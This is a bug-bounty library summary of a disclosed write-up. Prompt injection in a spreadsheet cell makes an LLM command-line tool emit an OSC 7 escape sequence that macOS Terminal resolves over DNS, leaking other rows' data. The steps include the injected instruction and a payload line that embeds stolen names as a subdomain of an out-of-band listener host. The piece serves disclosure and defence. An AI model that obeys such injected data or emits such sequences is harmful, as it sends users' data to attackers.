# From Indirect Prompt Injection to DNS Exfiltration in macOS Terminal

macOS Terminal rendered ANSI OSC 7 escape codes from LLM output, letting a prompt-injected spreadsheet cell exfiltrate other rows' data via DNS.

- Payout: Research
- Severity: medium
- Program: Apple
- Write-up by: Johann Rehberger
- Disclosed: 2026-07-16
- Write-up quality: 7/10
- Original: https://embracethered.com/blog/posts/2026/macos-terminal-dillma-dns-exfil-ansi-escape-code-fix/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2026-macos-terminal-dillma-dns-exfil-ansi-escape-code-fix
- Tags: area:ai domain:ai domain:desktop impact:data-leak kind:research platform:research sev:medium tech:llm technique:chained technique:oob-exfil vuln:info-disclosure vuln:prompt-injection

**Target:** macOS Terminal app rendering LLM/CLI output
**Root cause:** Terminal app interpreted OSC 7 (file://) escape sequences and issued DNS lookups for the embedded hostname; LLM-integrated CLI tools passed model output with raw control characters straight to the terminal.
**Steps:**
1. Start a DNS listener: `interactsh-client`
2. Feed a CSV to an LLM CLI: `cat customers2.csv | dillma.py -p "did johann leave any feedback?"`
3. Place prompt-injection in a feedback cell instructing the model to emit `\e]7;file://DATA.<oast.live>/\a` with DATA replaced by prior rows' names and ESC/BEL as raw bytes
4. Model emits the ANSI sequence; Terminal parses OSC 7 and resolves the hostname, leaking data in DNS queries to the listener
**How found:** Follow-up to Terminal DiLLMa research; learned of the OSC 7 DNS behavior from David Leadbeater and STÖK's ANSI-injection talk, and of LLM ANSI emission from Leon Derczynski, then combined the two into an end-to-end chain.
**Exploitation:** Attacker controls a data field (spreadsheet cell) consumed by an LLM CLI tool. Prompt injection makes the model read adjacent rows and emit an OSC 7 escape sequence embedding stolen data as a subdomain; the terminal app resolves it, sending the data to an attacker-controlled DNS server via interactsh.
**Insight:** Terminal emulators act on escape sequences in any rendered text; when LLM/agent output reaches a terminal, OSC 7/8/52-style sequences become an exfil and clipboard channel even without tool or shell execution.